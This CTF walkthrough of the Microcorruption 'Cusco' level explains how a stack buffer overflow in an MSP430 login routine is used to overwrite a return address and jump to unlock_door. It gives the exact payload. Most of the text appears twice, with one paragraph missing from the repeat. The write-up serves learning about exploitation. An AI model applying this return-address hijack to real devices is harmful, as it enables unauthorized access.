Microcorruption 0x04 - Cusco
Prev: 0x03 Hanoi
Next: 0x05 Johannesburg
According to this level’s manual, the developers fixed issues with passwords that are too long… We’ll see.
At first glance, this level is very similar to the last one. If we work backwards from the “unlock_door” function, we can see that there is no longer a “cmp.b” instruction comparing a value to an address in memory. Instead, it strictly tests the r15 register after the “test_password_valid” function.
Looking at this function, we can see that r15 is populated with the first byte at “-0x4(r4),” so let’s break at this instruction to see what’s at that address after if we enter a dummy password.
After entering 12 A’s, we'll check the first byte of “0x4(r4)” by entering “read r4-4” and... it’s null (00). We might reasonably suspect that this may be the byte in memory that HSM-1 will set with a value if the password is correct.
Perhaps we are able to overflow the password buffer and write to this address? Unfortunately, this address is before the password buffer (which we can see is 43ee by looking for our dummy password in the Live Memory Dump section), so we can’t overwrite it… but can we still overflow?
Checking “getsn,” we can see that not only does it still not cap the input length at 0x10, it actually added more room for input than before: we can enter up to 0x30 characters! Let’s enter 48 A’s as our password and see if we get a crash.
The program outputs: “insn address unaligned.” If we look at pc, we can see that it’s set at “4141,” meaning that part of our dummy password was popped into pc and the program spat out an error when it saw that the instruction wasn’t aligned (instruction memory addresses must be even values).
A “pop” into pc means it’s a “ret” instruction, and looking at the “login” function where the “getsn” resides we can deduce that it must be the “ret” from “login.” If we break at this “ret” on line 453e and rerun the program, we can confirm this, and see that the program is trying to “pop” the value at address 43fe, 16 bytes after the start of the password buffer 43ee, into pc.
Now that we have control of pc, where should we return to? How about the handy “unlock_door” function?
To solve the level, enter a buffer of 16 characters followed by the address of “unlock_door,” or the call to “unlock_door,” in little-endian. I used “414141414141414141414141414141412845”
Prev: 0x03 Hanoi
Next: 0x05 Johannesburg
Next: 0x05 Johannesburg
According to this level’s manual, the developers fixed issues with passwords that are too long… We’ll see.
At first glance, this level is very similar to the last one. If we work backwards from the “unlock_door” function, we can see that there is no longer a “cmp.b” instruction comparing a value to an address in memory. Instead, it strictly tests the r15 register after the “test_password_valid” function.
After entering 12 A’s, we'll check the first byte of “0x4(r4)” by entering “read r4-4” and... it’s null (00). We might reasonably suspect that this may be the byte in memory that HSM-1 will set with a value if the password is correct.
Perhaps we are able to overflow the password buffer and write to this address? Unfortunately, this address is before the password buffer (which we can see is 43ee by looking for our dummy password in the Live Memory Dump section), so we can’t overwrite it… but can we still overflow?
Checking “getsn,” we can see that not only does it still not cap the input length at 0x10, it actually added more room for input than before: we can enter up to 0x30 characters! Let’s enter 48 A’s as our password and see if we get a crash.
The program outputs: “insn address unaligned.” If we look at pc, we can see that it’s set at “4141,” meaning that part of our dummy password was popped into pc and the program spat out an error when it saw that the instruction wasn’t aligned (instruction memory addresses must be even values).
A “pop” into pc means it’s a “ret” instruction, and looking at the “login” function where the “getsn” resides we can deduce that it must be the “ret” from “login.” If we break at this “ret” on line 453e and rerun the program, we can confirm this, and see that the program is trying to “pop” the value at address 43fe, 16 bytes after the start of the password buffer 43ee, into pc.
Now that we have control of pc, where should we return to? How about the handy “unlock_door” function?
To solve the level, enter a buffer of 16 characters followed by the address of “unlock_door,” or the call to “unlock_door,” in little-endian. I used “414141414141414141414141414141412845”
Prev: 0x03 Hanoi
Next: 0x05 Johannesburg